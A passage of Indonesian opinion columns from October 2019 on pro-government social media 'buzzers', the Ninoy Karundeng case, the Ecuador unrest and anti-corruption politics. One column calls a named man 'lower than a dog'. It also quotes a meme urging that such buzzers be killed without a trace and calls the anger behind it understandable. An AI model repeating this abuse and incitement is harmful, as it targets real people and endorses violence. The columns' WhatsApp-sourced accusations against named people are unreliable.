tertentu dengan tugas membuat dan menyebar fitnah untuk menjatuhkan lawan politik. Buzzer boleh juga disamakan dengan pembunuh bayaran. Mereka membunuh menggunakan diksi-diksi yang kasar. Mereka menyerang orang-orang yang bersifat krisis. Mereka kelompok yang terorganisasi. Senjata Makan Tuan Pasukan medsos yang oleh Tempo disebutnya pendengung. Namun, belakangan kata “pendengung” oleh sebagian pegiat medsos dirasa terlalu lembut sehingga diganti “penggonggong”. Pendengung dan penggonggong bahkan pengembik, punya maksud sama. Fungsinya seperti makna buzzer: lonceng, bel atau alarm. Ngung … untuk pendengung. Gukguk .. untuk penggonggong. Mbik… untuk mengembik. Pendengung untung lebah. Penggongong untuk anjing. Pengembik untuk kambing. Silakan dipilih, mana yang enak saja. Toh, semua bikin berisik. Tak hanya para tetangga yang terkena dengungan, gonggongan dan embikan itu. Sang pemilik rupanya juga kena dampak yang sama. Ibaratnya, senjata makan tuan. Wajar saja jika Jokowi akan mengevaluasi keberadaan buzzer itu. "Buzzer-buzzer itu harus ditinggalkanlah. Pemilu juga sudah selesai. (Gunakan) Bahasa-bahasa persaudaraan, kritik, sih, kritik tapi tidak harus dengan bahasa-bahasa yang kadang-kadang enggak enak juga didengar," ucap Moeldoko. Menurutnya, pada saat ini, para buzzer pendukung Jokowi justru melakukan cara-cara yang bisa merugikan pemerintahan Jokowi sendiri. Ia pun meminta buzzer-buzzer Presiden Jokowi di sosial media untuk tidak terus-menerus menyuarakan hal-hal yang justru bersifat destruktif. "Dalam situasi ini relatif sudah enggak perlu lagi buzzer-buzzeran. Yang diperlukan adalah dukungan politik yang lebih membangun, bukan dukungan politik yang bersifat destruktif," tergasnya. Merasa terdesak, belakangan para penggogong secara membabi buta menyerang pakar drone emprit Ismail Fahmi di Twitter. Serangan itu dilakukan secara terstruktur, sistematis dan massif. Ismail Fahmi diserang karena dialah yang membocorkan asal hoaks oleh buzzer Jokowi. Ismail dengan teknologi drone emprit melakukan kerja secara profesional. Drone emprit membongkar kelakuan buzzer Jokowi ketika menyebarkan hoaks ambulans berisi batu dan bensin sampai grup whatsApp anak STM buatan oknum polisi. Mengundang Iba Pengakuan Moeldoko ini seperti membenarkan ulasan dua ilmuwan Oxford, Samantha Bradshaw dan Philip N Howard. Keduanya membuat laporan bertajuk The Global Disinformation Order, 2019 Global Inventory of Organised Social Media Manipulation. Ilmuan ini membeberkan bahwa pemerintah menggunakan buzzer untuk menyebarkan propaganda pro pemerintah dan menyebarkan informasi untuk memecah-belah publik. Pemerintah dan partai-partai politik juga memanfaatkan pihak swasta atau kontraktor serta politikus untuk menyebarkan propaganda serta pesan-pesannya di media sosial. Alat yang digunakan adalah akun-akun palsu yang dioperasikan oleh orang-orang dan oleh bot. Berdasarkan isinya, konten-konten yang disebarkan oleh pemerintah dan partai politik di Indonesia terdiri dari dua jenis: informasi yang menyesatkan media atau publik dan yang kedua, memperkuat pesan dengan terus-menerus membanjiri media sosial dengan tagar. Para buzzer, menurut penelitian itu, dikontrak oleh pemerintah atau partai politik tidak secara permanen. Mereka lazimnya dibayar di kisaran harga Rp1 juta sampai Rp50 juta. Para buzzer ini bergerak di tiga media sosial utama, Facebook, Twitter, Instagram, serta di aplikasi pesan WhatsApp. Sementara itu, Peneliti Center for Innovation Policy and Governance (CIPG), Rinaldi Camil, menyebut pendapatan buzzer politik di media-media sosial bisa setara upah minimum regional (UMR). “Buzzer di wilayah DKI Jakarta dapat menerima upah hingga Rp3,9 juta per bulan dengan jam kerja delapan hingga sepuluh jam sehari,” ujarnya seperti dikutip Antara, Maret lalu. Seorang koordinator buzzer, dapat mengantongi Rp6 juta per bulan. Angka itu cukup menggiurkan di saat ekonomi sulit saat ini. Banyak penganggur terdidik yang terjerumus dalam dunia buzzer. Kini, buzzer Jokowi akan jadi korban PHK. Sepertinya menyedihkan. Mengundang iba. Padahal harusnya mereka ikut menikmati kemenangan Jokowi di periode kedua ini. "Kekuasaan periode kedua belum dimulai, tapi Buzzers sudah dibuang alias disingkirkan alias diapkir. BPJS naik 100%, Tarif ini tarif itu naik. Honor hilang. Gimana nasib para Buzzer, ya...? Ckckck kasihan," cuit Tengku Zulkarnain, Senin (7/10). Tentu saja cuit Tengku Zul itu hanya sindiran saja. Wakil Sekretaris Jenderal Majelis Ulama Indonesia (MUI) ini menyarankan para buzzer untuk tetap aktif menjalankan tugasnya lantaran hal itu dirasa bisa mempengaruhi keputusan kakak pembina buzzer. "Serang terus sana sini, mana tahu kakak pembina berubah pikiran. Ya nggak?," imbuhnya. Tengku Zul, tidak menyebut siapa Kakak Pembina yang dimaksud. Namun di kalangan pegiat medsos sudah tahu sama tahu, yang dimaksud Kakak Pembina adalah Moeldoko. Jika benar begitu maka: buzzer menggonggong, kakak pembina berlalu. Biarlah begitu. Kini, adalah saat yang tepat untuk buzzer taubat. Dalam perspektif Islam, mencari-cari kesalahan orang lain dan menggunjingkannya adalah perbuatan keji yang diumpamakan dengan memakan bangkai saudara sendiri. Bahkan perilaku fitnah disebut lebih keji dari pembunuhan.

Lelaki Berludah Api dan Polisi

Oleh Edy Mulyadi (Wartawan Senior) Jakarta, FNN - Ninoy Karundaeng saat ini adalah orang yang paling berbahaya di Indonesia. Dia ‘berludah api’. Apa pun yang keluar dari mulutnya membakar segalanya. Dan, itu adalah berarti bencana. Siapa pun yang namanya disebut Ninoy, bakal mengalami musibah dan sengsara. Ya, Ninoy korban amuk massa di sekitar Pejompongan Jakarta Pusat yang diselamatkan Dewan Kemakmuran Masjid (DKM) al Falah itu, kini benar-benar sakti mandraguna. Dia juga bak bocah manja yang tengah merayakan ulang tahun, yang segala keinginannya dipenuhi orang tuanya. Apa pun yang diinginkannya langsung diamini Polisi. Tidak tanggung-tanggung, 13 nama disebutnya, 13 nama itu pula yang langsung dicomot Polisi dan menyandang status tersangka. Dan, jangan lupa, tiga dari 13 itu adalah emak-emak. *Menculik itu salah, tapi...* Merujuk kasus Ninoy ini, di grup-grup percakapan _what apps_ (WA) ada yang nyeletuk, menculik itu suatu kesalahan. Tapi melepaskan orang yang diculik adalah kesalahan yang lebih besar lagi. Rupanya apes tengah menyergap sejumlah pengurus DKM masjid al Falah Pejompongan. Mereka melakukan beberapa ‘kesalahan’. Pertama, para pengurus masjid itu ‘bersalah’ karena TIDAK (dengan huruf besar) menculik Ninoy. Yang terjadi, justru mereka menyelamatkan _buzzer_ alias anjing penggonggong Istana itu dari amuk massa. Cerita dan latar belakang peristiwa ini sudah berseliweran di grup-grup WA dan ranah media sosial. Jadi, tak perlu lagi saya ulangi di sini. Masih dalam tuduhan menculik, nasib (paling) apes sepertinya dialami Sekjen Persaudaraan Alumni 212, Bernard Abdul Jabbar. Pasalnya, justru Bernard yang menyelamatkan anjing penggongong Istana itu dari amuk massa. Bahkan, meminjam kalimat Jubir PA 212 Habib Novel Bamukmin, Ninoy berutang nyawa kepada Bernard. Tapi, begitulah. Ninoy telah menyebut nama Bernard. Maka jam 3 dini hari, di jalan tol dalam perjalan pulang dari Lampung, mobil Bernard dipepet lima mobil Polisi. Dia ditangkap tanpa selembar pun surat perintah penangkapan ditunjukkan saat kejadian. ‘Kesalahan’ para DKM yang kedua, mereka memperlakukan Ninoy dengan baik, memberi makan dan minum. Bahkan mereka menyewakan mobil untuk mengantar pria yang tulisan-tulisannya di medsos sarat dengan tenebaran kebencian, hoax, dan fitnah kepada tokoh dan ummat Islalm itu pulang ke rumah. (Mana ada penculik melepaskan yang diculik, menyewakan mobil untuk mengangkut motor yang bersangkutan, dan mengantarkan pulang sampai ke rumah korbannya?) ‘Kesalahan’ ketiga, ya itu tadi, pengurus DKM melepaskan Ninoy. Maka, jadilah orang ini berludah api. Kebiasaannya menebar fitnah dan kebencian di dunia maya, kini wujudkan di dunia nyata, di hadapan Polisi. Serunya lagi, aparat berbaju cokelat yang oleh kalangan demonstran dan aktivis disebut Wercok alias wereng cokelat itu pun mengamini apa pun semburan ludah Ninoy. *Ninoy vs anjing* Masih ingat pepatah, menolong anjing terjepit menggigit? Maksudnya, anjing yang ditolong setelah lepas justru menggigit si penolong. Seperti itukah Ninoy? O, tidaaaak. Dia lebih hina lagi. Coba perhatikan, si anjing yang telah ditolong dari keterjepitannya itu menggigit penolongnya dengan moncongnya sendiri. Tapi Ninoy? Manusia rendah ini menggigit para penolongnya dengan menggunakan ‘moncong’ Polisi. Maka, jadilah para penolong tadi ditangkapi Polisi dan diganjar status tersangka. Ninoy juga tidak peduli dengan Bernard yang telah menyelamatkan nyawanya. Pendukung Jokowi garis keras itu dengan sengaja melupakan adegan saat dia berterimakasih serta mencium tangan Bernard karena nyawanya diselamatkan dari amuk massa. Bagaimana dengan surat pernyataan bermaterai yang menyatakan, “ _saya telah ditolong dan diselamatkan oleh DKM masjid al Falah dan Tim Medis serta warga._”? Di surat pernyataan itu, lelaki hina dina tersebut juga menulis, “ _Saya tidak akan menuntut dan mempermasalahkan kejadian ini, dan semua sudah diselesaikan dengan baik_.” Bahkan, menjelang akhir surat pernyataannya, pria yang ternyata derajatnya lebih rendah daripada anjing ini menulis, “ _Saya juga mengucapkan terima kasih kepada DKM masjid al Falah dan Tim Media serta warga_.” Semua kalimat tersebut sama sekali tak bermakna. Di hadapan Polisi dengan gampang Ninoy mengatakan, bahwa surat pernyataan itu dibuat karena terpaksa, di bawah tekanan dan paksaan pihak lain, walau pun dia juga menulis “ _Demikian surat pernyataan ini saya buat berdasarkan kesadaran tanpa paksaan dari pihak mana pun._” Dan, lagi-lagi, polisi mengamini apa pun kata Ninoy. Kekesalan ummat Islam terhadap Ninoy khususnya ini membuat di grup-grup WA dan medsos berseliweran meme yang berbunyi, “ _Jika ada buzzer penghina Allah dan RasulNya yang dilindungi aparat, habisi saja tanpa jejak. Jangan ada saksi maupun bukti. Paham kaan...!?”_ Ummat marah, wajar saja. Ninoy si anjing penggonggong Istana yang ditolong malah menebar fitnah kepada orang-orang yang menolongnya. Sudah begitu, patut diduga Polisi menjadikan skandal ini sebagai pintu masuk menangkapi ulama dan aktivis ummat yang kritis terhadap penguasa. Polisi begitu sigap memproses kasus yang dianggap pelakunya melibatkan ummat atau tokoh Islam dan aktivis kritis. Tapi pada saat yang sama, sangat lambat bahkan enggan memproses laporan jika pelakunya para anjing penggonggong Istana atau mereka yang pro penguasa. Ditolaknya laporan atas fitnah yang ditebar Denny Siregar atas ambulans Pemprov DKI yang dituding membawa batu dan bensin, adalah contoh terang-benderang ketidakadilan Polisi. Dengan seabreg fakta yang ada, tidak heran bila pakar hukum tata negara Universitas Parahyangan Asep Warlan Yusuf, menyatakan sejak dipimpin Kapolri Jenderal Tito Karnavian, Polri telah kehilangan jati dirinya sebagai lembaga penegak hukum dan telah berubah menjadi bumper Parpol pendukung Pemerintah. Saya hanya ingin mengingatkan, bahwa segala sesuatu ada masanya. Kali ini, boleh saja Ninoy dan kawanan anjing penggonggong Istana sedang berpesta-pora. Saat ini boleh jadi polisi sedang di atas angin. Tapi, sekali lagi semua ada waktunya. “... dan masa (kejayaan dan kehancuran) itu, kami *pergilirkan* di antara manusia (agar mereka mendapat pelajaran). Dan agar Allah membedakan orang-orang yang beriman (dengan orang-orang kafir), serta agar sebagian dari kamu dijadikanNya (gugur sebagai) syuhada. Dan Allah tidak menyukai orang-orang yang zalim.” (TQS Ali Imron [3]:140). Ingat, tidak ada pesta yang tak berakhir. Begitu juga dengan kalian! Oya, satu lagi, siapa pun kalian, jika beriman dan punya Tuhan, tentu kalian paham dan yakin, bahwa setiap perbuatan baik dan buruk di dunia ini, sekecil apa pun, pasti akan mendapat balasan di akhirat. Dah, gitu ajah! [*] Jakarta, 10 Oktober 2019

Akankah Kerusuhan di Ekuador Menjalar ke Asia?

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Ekuador bergolak. Pemantiknya adalah berbagai isu yang terkait dengan problem ekonomi dan keuangan. Nah, inikah titik awal resesi ekonomi dunia yang diramalkan itu? Wallhu a’lam! Sudah tujuh hari ini berlangsung protes rusuh di Ekuador, sebuah negara Amerika Latin. Kerusuhan melanda ibukota, Quito. Puluhan ribu warga penduduk asli datang menyerbu Quito. Akibatnya, presiden negara yang berpenduduk 16.5 juta itu terpaksa memindahkan kantornya ke kota pelabuhan, Guayaquil –150 kilometer dari ibukota. Rakyat Ekuador menentang kebijakan pemerintah Presiden Lenin Moreno. Dia menghapus subsidi BBM, memotong gaji sektor publik, dan menaikkan pajak. Moreno menggantikan Presiden Rafael Correa dalam pilpres 2017. Harga BBM naik lebih 100% sejak subsidi dicabut Kamis lalu. Kebijakan “austerity” (penghematan) ini dilakukan sebagai persyaratan dari Dana Moneter Internasional (IMF) untuk menstabilkan keuangan Ekuador. Dalam beberapa dekade ini, aksi protes penduduk asli (indigenous) berhasil menggulingkan tiga presiden di Ekuador. Laporan-laporan menyebutkan, ratusan orang ditahan dalam aksi protes yang disertai tindak kekerasan itu. Saking besarnya aksi protes rakyat, Presiden Moreno mengumumkan keadaan darurat. Tetapi tindakan ini tak berhasil menghentikan aksi rakyat. Aksi-aksi protes ini membuat Ekuador lumpuh total. Sekarang, stabilitas negara itu terancam. Aksi kerusuhan tidak hanya berlangsung di ibukota, tetapi juga kota-kota lain. Penguasa memberlakukan larangan keluar malam mulai pukul 17.00. Ekuador sudah lama mengalami masalah keuangan. Sejak masa kekuasaan Rafael Correa, negara kaya minyak ini masuk ke dalam jebakan utang RRC. Sudah USD11 miliar uang China dikucurkan. Ternyata, tak cukup. Ekuador minta tambahan. Pinjaman itu dicairkan sekitar 2015. Dengan bunga tinggi. Sebelumnya, China mengerjakan proyek pembangkit listrik tenaga air dengan biaya USD2.2 miliar. Seperti di Indonesia, pembuatan bendungan untuk proyek listrik ini dikerjakan oleh para teknisi China. Sektor perminyakan Ekuador pun telah dikuasai China. Hampir 90% ekspor minyak negara ini dikirim ke RRC sebagai pembayar utang. China membangun dan mengoperasikan pabrik penyulingan minyak besar di dekat kota Manta. Biayanya cukup besar. Kapasitasnya juga besar. Dengan uang pinjaman miliaran dollar, Ekuador dipaksa menjual minyaknya kepada RRC. Alberto Acosta, mantan menteri energi pada era Correa, menyindir keras kehadiran China di Ekuador. Acosta mengatakan, “Persoalannya ialah kami mencoba menggantikan imperialisme Amerika Serikat dengan imperialisme China.” “China itu belanja ke segenap penjuru dunia, menukar duit mereka menjadi sumber tambang dan investasi. Mereka tidak hanya datang membawa uang dan teknologi, tetapi sekaligus bunga tinggi,” kata Acosta kepada New York Times belum lama ini. Sebagaimana Ekuador, banyak negara lain yang kini mulai dilanda kesulitan ekonomi. Atau bahkan sudah lama mengalami masalah ekonomi. Dalam laporan yang berjudul “Trade and Development Report 2019”, organisasi perdagangan dan pembangunan PBB (UNCTAD yaitu United Nations Conference on Trade and Development) memperingatkan tentang resesi ekonomi tahun depan (2020). Badan ini mengatakan, isyarat resesi itu sangat jelas dan berbahaya. Dalam banyak contoh di masa lalu, resesi ekonomi bisa menjadi penyebab instabilitas politik dan krisis kepercayaan terhadap penguasa. Di Asia, banyak negara yang bisa rentan gara-gara resesi. Termasuk Indonesia. Pada 1998, Presiden Suharto lengser karena krisis keuangan. Karena krisis utang. Pada waktu ini, Indonesia kembali mengalami jumlah utang pemerintah dan swasta yang bisa memicu krisis keuangan. Begitu pula dengan banyak negara di benua-benua lain. Pertanyaannya, mungkinkah kerusuhan seperti di Ekuador menjalar ke kawasan Asia? Jawabannya: tidak seorang pun menghendaki itu terjadi. Untuk Indonesia, apakah pemerintah telah mengambil ancang-ancang untuk menghadapi kemungkinan gangguan ekonomi-keuangan (resesi) seperti yang diprediksi oleh UNCTAD? Seharusnya, tanpa ditanya pun mereka selalu siap. Periode kedua Presiden Jokowi bisa saja dilanda krisis yang bersumber dari tumpukan utang. Membayar cicilan 300-400 triliun rupiah per tahun tampaknya bukan beban yang ringan. Jika resesi ekonomi juga melanda Indonesia tahun depan (2020), persoalan yang muncul bisa sangat serius.[] 10 Oktober 2019

H2C Para Buzzer: Ditinggalkan atau Jadi Komisaris?

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Kepala Staf Presiden (KSP) Moeldoko menilai, aktivitas para buzzer atau pendengung Presiden Joko Widodo saat ini justru merugikan Jokowi sendiri. Karena itulah dia menghimbau para pendengung Jokowi ini untuk lebih positif dalam bersuara. Seperti dilansir CNNIndonesia.com, Jumat (04/10/2019 14:45 WIB), dia melihat dari emosi yang terbangun, emosi yang terbangun dari kondisi yang tercipta itu merugikan. “Jadi yang perlu dibangun emosi positif lah,” kata Moeldoko di Jakarta. Moeldoko merespons tentang aktivitas para pendukung Jokowi beberapa hari belakangan ini. Dua kasus dia soroti, yakni terkait penyebaran informasi ambulans DKI Jakarta yang disebut membawa batu dan bensin saat aksi massa di sekitar Gedung MPR/DPR. Lalu, dari kasus tangkapan layar grup WhatsApp pelajar STM, yang ternyata nomor telepon di grup itu diduga milik anggota Polri. Kedua informasi tersebut dianggap sejumlah pihak telah menyesatkan alias hoaks. Berdasarkan analisa DroneEmprit terkait mobil ambulans DKI Jakarta membawa batu dan bensin, diketahui bahwa pihak pertama yang menyebarkan informasi itu adalah akun-akun yang dikenal kerap 'membela' Jokowi ataupun pemerintah. Mereka antara lain, @OneMurthada, @Paltiwest, @digeeembok, @Dennysiregar7, dan akhirnya juga diunggah oleh akun @TMCPoldaMetro. Setelah ramai 'dilawan', akhirnya Polda Metro mengakui keliru menyebut ambulans DKI bawa batu dan bensin. Sementara itu, sejumlah akun yang mengunggah tangkapan layar grup WA anak STM antara lain, @TheREAL_Abi, dan @OneMurtadha. Namun akun-akun tersebut sudah menghapus unggahannya setelah para pengguna Twitter lainnya mengkritisi isi tangkap layar itu. Moeldoko menyatakan kehadiran buzzer awalnya untuk memperjuangkan dan menjaga marwah pemimpinnya. Namun, bagi Moeldoko, dalam kondisi Pemilu sudah selesai, buzzer sudah tak diperlukan lagi. Menurut mantan panglima TNI itu, yang diperlukan saat ini adalah dukungan politik yang lebih membangun, bukan dukungan yang malah bersifat destruktif. “Karena kalau buzzer-buzzer ini selalu melemparkan kata-kata yang tidak enak didengar, tidak enak di hati. Nah itu lah destruktif dan itu sudah enggak perlu lah. Untuk apa itu?" tuturnya. Moeldoko berharap para buzzer menurunkan semangat yang berlebihan dalam mendukung seorang tokoh idolanya, dalam hal ini Jokowi. Dia juga tak ingin buzzer yang mendukung Jokowi ini justru menyebarkan kebencian. Moeldoko juga telah mengimbau para buzzer untuk menggunakan bahasa yang nyaman dan tak menyakiti pihak lain. Dia mengaku sudah menyampaikan langsung kepada influencer, tokoh-tokoh relawan dan tokoh-tokoh yang lainnya. Mengutip Detik.com, Jum’at (4/10/2019 09:13:18 WIB), analis media sosial Drone Emprit and Kernels Indonesia Ismail Fahmi menilai, buzzer membuat pemerintah menjadi tak bisa mendengarkan kritik yang disampaikan masyarakat di media sosial. Sebab, menurut Ismail, para buzzer pendukung Jokowi langsung 'menghajar' saat ada kritik. Ismail awalnya menjelaskan soal buzzer yang dipelihara negara. Dia menyebut buzzer negara memelihara buzzer semenjak tahun 2014. “Sekarang, sejak 2014, dalam menghadapi media sosial itu, negara bukan memberikan berita positif, tetapi negara malah menaruh buzzer untuk menghadapi opini. Itulah yang kemudian apa, menyebabkan buntu. Mereka yang mengkritik jadinya seperti buzzer,” kata Ismail. Karena tak mendapatkan tanggapan dari pemerintah, dan pemerintah juga mendengar. Jadi, “Buzzer membereskan aja, ketika ada ini, diberesin ini. Ketika ada sesuatu yang bikin ramai, ditangkal isu lain,” lanjut Ismail. “Kemudian ada satu isu yang pemerintah mau angkat, dia bikin kampanye luar biasa, yang menghalangi langsung dihajar oleh buzzer itu,” imbuh Ismail kepada wartawan, Kamis (3/10/2019). Menurut Ismail, buzzer di media sosial membuat pemerintah tidak bisa mengetahui aspirasi apa yang disampaikan masyarakat melalui media sosial. Dia menilai pemerintah seharusnya membuat sistem yang bisa menampung kritikan masyarakat di media sosial. “Seharusnya tidak ada buzzer di Istana, tidak ada buzzer di oposisi, yang ada adalah rakyat, yang ada adalah publik yang menyampaikan suara di media sosial, menyampaikan kritikan. Kemudian pemerintah mendengarkan big data, mendengarkan sinyal itu,” ucapnya. Moeldoko sendiri menepis anggapan bahwa buzzer di media sosial yang pro-pemerintah 'dikomandani' kantornya. Justru, seperti dikutip Detik.com, Kamis (03 Oktober 2019, 17:23 WIB) Moeldoko menilai para buzzer perlu ditertibkan. “Saya pikir memang perlu (ditertibkan). Ini kan yang mainnya dulu relawan, sekarang juga pendukung fanatik,” ucap Moeldoko di kompleks Istana Kepresidenan, Jakarta Pusat, Kamis (3/10/2019). Menurutnya, para buzzer cenderung tak ingin sosok yang diidolakannya diserang. Tapi, bila itu terjadi, disebut Moeldoko, para buzzer tersebut pasti bereaksi. “Contohnya begini – bukan saya maksudnya – para buzzer itu tidak ingin idolanya diserang, idolanya disakitin. Akhirnya masing-masing bereaksi. Ini memang persoalan kita semua, juga kedua belah pihak, bukan hanya satu pihak. Kedua belah pihak,” ucapnya. Selain itu, dia berpendapat buzzer sebaiknya menggunakan kalimat yang tidak menyerang lawan politik idolanya. “Ya sebenarnya bukan santainya, tapi perlu mencari diksi-diksi yang lebih.... Kan tidak harus menyerang, tidak harus saling menjelekkan, tidak harus saling mengecilkan. Menurut saya sih buzzer-buzzer itu harus ditinggalkanlah, kan pemilu juga udah selesai,” imbuhnya. Moeldoko juga menepis Kantor Staf Presiden (KSP) 'mengomandani' buzzer pendukung Jokowi. KSP, disebutnya, justru mengimbau pendukung Jokowi tidak menyerang lawan politik atau yang berseberangan. “Oh tidak, tidak. Sama sekali kita... justru kita KSP itu mengimbau 'udah kita jangan lagi seperti itu'. Beberapa kali saya sudah ngomongkan, janganlah kita politik yang kita kembangkan itu, kalau saya boleh mengatakan politik kasih sayang,” ujarnya. Kakak Pembina Para buzzer Jokowi ini bekerja secara senyap. Setidaknya itu yang digambarkan Seword.com. “Tim ini memang tidak terlihat. Selain Kakak Pembina dan Presiden, tak ada yang benar-benar tahu komposisi tim ini,” tulis Seword, Kamis (02 Mei 19 pukul 07: 36). Nama-nama yang disebut Seword antara lain: Yusuf Muhammad, Denny Siregar, Abu Janda, Aldi El Kaezzar, Eko Kuntadhi, Habib Think, Salman Faris, Katakita, Info Seputar Presiden, Redaksi Indonesia, Komik Kita, Komik Pinggiran, dan Sewordcom. “Semua datang dari berbagai daerah memenuhi panggilan Kakak Pembina,” ungkap Seword. Meski ditampik Moeldoko, Kakak Pembina yang dimaksud adalah dirinya KSP. Di berbagai grup WA malah disebutkan setidaknya ada 120 Aliansi Gerakan Relawan/Buzzer Jokowi. Jika benar yang mereka ini binaan Istana, tentu saja ada konsekensi ekonominya. Berapa nilai rupiah yang harus dikeluarkan Istana untuk operasional para buzzer ini setiap bulannya? Tak mungkin mereka “bekerja” secara suka rela tanpa bayaran. Tidak mungkin sekelas Denny Siregar dibayar senilai recehan. Ninoy Karundeng saja terima bayaran Rp 3,2 juta/bulan, seperti pengakuannya dalam video “interograsi” yang tersebar luas di grup WA belum lama ini. Apalagi, jika mereka bekerja secara profesional. Dapat dipastikan, bayarannya di atas Rp 5 juta, bahkan Rp 25 juta/bulan. Sebuah angka yang cukup menggiurkan tentunya. Jika beruntung, bisa seperti Kartika Djoemadi, pendiri Jokowi Ahok Social Media Volunteers (JASMEV) yang diluncurkan pada 12 Agustus 2012, diangkat menjadi Komisaris Danareksa pada 27 Oktober 2015, setelah sukses pada Pilpres 2014. Begitu Jokowi resmi menyatakan diri menjadi Capres2014, JASMEV yang tadinya non aktif ini kembali lagi dalam dunia sosial media, dan menyatakan akan membantu Jokowi bersama puluhan ribu relawan JASMEV di seluruh Indonesia dan luar negeri. Tujuannya memenangkan Jokowi pada Pilpres 2014. Karena pertarungan Pilpres 2014 tidak mengusung Ahok sebagai wakil Jokowi, membuat JASMEV mengubah akronimnya menjadi Jokowi Advanced Social Media Volunteers. Bagaimana dengan buzzer Jokowi untuk Pilpres 2019 setelah mengulang kemenangan? Jika Jokowi tidak lupa, pasti ada yang diangkat seperti Kartika. Semoga tidak H2C alitas Harap-Harap Cemas! ***

Mungkinkah Jokowi Berantas Korupsi?

Sistem pemilu, yang sejauh ini muncul sebagai mesin memproduksi korupsi harus dibenahi. Puluhan, bahkan ratusan miliyar rupiah yang dikeluarkan setiap kali pemilu digelar. Tentu saja untuk meraih jabatan politis ini, sangat disukai oleh pialang-pialang kekuasaan. Sungguh ini tidak bisa diterima akal sehat. Memang pialang menyukainya, karena itulah cara mereka mengendalikan pejabat, dan kekuasaan. Oleh Dr. Margarito Kamis Jakarta, FNN - Pak Jokowi, Presiden yang mengawali karir politik sebagai Walikota Solo ini, oleh sebagian kalangan terlihat unggul dalam pembangunan infrastruktur. Selama memerintah Solo, pria ini dianugrahi penghargaan tokoh anti korupsi. Tindakan-tindakan pemerintahan macam apakah yang membawa dirinya menerima penghargaan? Hanya dirinya dan pemberi penghargaan yang tahu. Sebagai tokoh antikorupsi, harusnya Pak Jokowi dapat mengikuti jalan berani yang telah dilakukan oleh Martin Vizcara, Presiden Peru. Martin menggenggam jabatan Presiden Peru menggantikan Pedro Pablo Kuczynki menyusul skandal suap yang menimpa dirinya. Sebelum menjadi wakil presiden, Martin, disini terlihat mirip Pak Jokowi menjabat sebagai Gubernur Moquequa. Salah satu provinsi di Selatan Peru. Juga seperti Pak Jokowi, selama Martin memerintah di Moquequa. Ketika itu Martin dikenal memiliki reputasi sebagai orang yang sangat konsisten dalam menerapkan good governanace. Reputasi itu pula yang menjadi modal terbesar dirinya. Modal itulah yang membuat Pedro Pablo jatuh hati kepada Martin. Perdo lalu memintanya untuk menjadi wakil presiden, dan membawanya sukses memasuki pemilu presiden tahun 2016. Pasangan Perdo-Martin sukses terpilih pada pemilu itu. Posisinya sebagai wakil presiden, tidak memungkinkan Martin mengaktualisasikan gagasan-gagasannya. Tetapi tidak setelah dirinya menjadi Presiden. Martin mengambil langkah dengan resiko besar memerangi korupsi. Konsisten Mungkinkan Pak Jokowi, pria penerima penghargaan anti korupsi, yang akan dilantik untuk jabatan presiden kedua kalinya ini mengikuti langkah Martin? Sikap yang paling menonjol dari Martin adalah tetap konsisten ditengah pemerintahan yang sungguh-sungguh terbelah. Pak Jokowi, sejauh ini tidak berada dalam pemerintahan yang terbelah. DPR – minus Pan dan PKS, boleh dikatakan all the presiden team. Malah the presiden dream team. PAN dan PKS hampir pasti tak bakal aneh-aneh. Gerindra toh terlihat bakal jinak. Lalu masih ada stok benteng lain di luar gedung DPR yang sangat dahsyat. Para Buzzer adalah kekuatan lain yang sangat dahsyat itu. Akankah landscap dan semua modal politik tak tertandingi, yang kini dimiliki dan melingkarinya itu membawa Jokowi pada titik “main sikat” seperti Martin lakukan di Peru? Sulit menemukan jawaban kongklusif. Tetapi apa yang ditakuti Pak Jokowi dari parlemen yang telah tersatukan, terunifikasi dengan pemerintah? Toh politisi-politisi mutakhir selalu terlihat tidak mengayuh tindak-tanduk politiknya dengan sikap hitam-putih. Mereka selalu cair, untuk tak mengatakan abu-abu. Kenyataan pemerintahan seperti itu, dalam batas yang nyata berbeda dengan yangh Martin hadapi di Peru. Martin menemukan dirinya berada dalam pemerintahan yang terbelah. Partainya Keiko Fujimori mendominasi Parlemen Peru, dan Keiko sendiri menjadi ketuanya. Keiko sang Ketua National Congress adalah pesaing Martin bersama Pedro pada pemilu 2016. Mungkin saja ia memiliki ambisi menenggelamkan Martin. Namun demikian Martin tetap konsisten. Bagaimana dengan Pak Jokowi? Akankah sama konsistennya dengan Martin? Entahlah. Bila ya, maka Pak Jokowi mungkin akan membawa dirinya pada langkah-langkah, tidak usah main sikat, tetapi reformatif yang tertata dalam pertempuran melawan korupsi. Pak Jokowi tidak usah banyak bicara. Tetapi tidak usah juga menyembunyikan gagasan anti korupsinya. Kalau gagasan itu memang ada. Tindakan pemerintahannya di Solo yang membawa dirinya memperoleh penghargaan, harus terlihat lebih jelas dalam tata kelola birokrasi lima tahun ke dapan. Martin di Peru. Presiden yang semasa memimpin Provinsi Moquequa di Peru Selatan, menerapkan good and clean government. Jelas sekali komitmen dan konsistensinya. Dalam pidato pelantikannya sebagai Presiden menggantikan Pedro Pablo Kuczynski yang diimpeach, Martin menunjukan konsistensi dan kelasnya. “Peru come first, and we must leave behind squabbles”. Begitulah isi pidato Martin yang menghebohkan, dan membuat gegap gempita rakyatnya. “Saya akan bekerja mengembalikan kepercayaan kepada institusi-institusi publik, “kata Martin dalam pidatonya itu. Itu karena Martin tahu masalah besar yang melilit politik dan birokrasi. Sama dengan Indonesia. Masalah terbesar bangsa Indonesia adalah korupsi. Dalam penilaian Martin, korupsi telah mewabah sedemikian gilanya. Korupsi menggurita dalam birokrasi sejak pemerintahan Alberto Fujimori, Presiden Peru periode 1991-2000. Presiden Fujimori terpaksa diimpeach, dan akhirnya dipenjara karena berbagai skandal korupsi. Selangkah Saja Seperti itulah korupsi dimuka bumi ini. Dulu maupun sekarang tidak ada bedanya. Tidak di Indonesia, tidak juga juga di Peru. Dimana-mana modusnya tidak pernah jauh dari kesepakatan-kesepakatan kotor. Suap-menyuap, penyalah-gunaan wewenang, dan kick back proyek. Pedro, presiden yang digantikan Martin misalnya, dituduh menerima ratusan ribu dolar Amerika Serikat dari Odebrecht, perusahaan konsultan Brasil yang mengerjakan sejumlah proyek di Peru. Martin mungkin terlalu progresif untuk ukuran sebuah negara yang menderita korupsi parah. Untuk meyingkirkan hambatan-hambatan politik yang mungkin menghadang langkah-langkah reformatifnya, ia pada kesempatan pertama meminta pemilu dipercepat dari seharusnya 2021 menjadi Januari 2020. Setelah menggenggam jabatan presiden, Martin melangkah dengan sangat progresif. Martin bahkan mengintroduksi larangan terhadap politisi korup mengikuti kontestasi itu. Gagasan ini dituangkan dalam 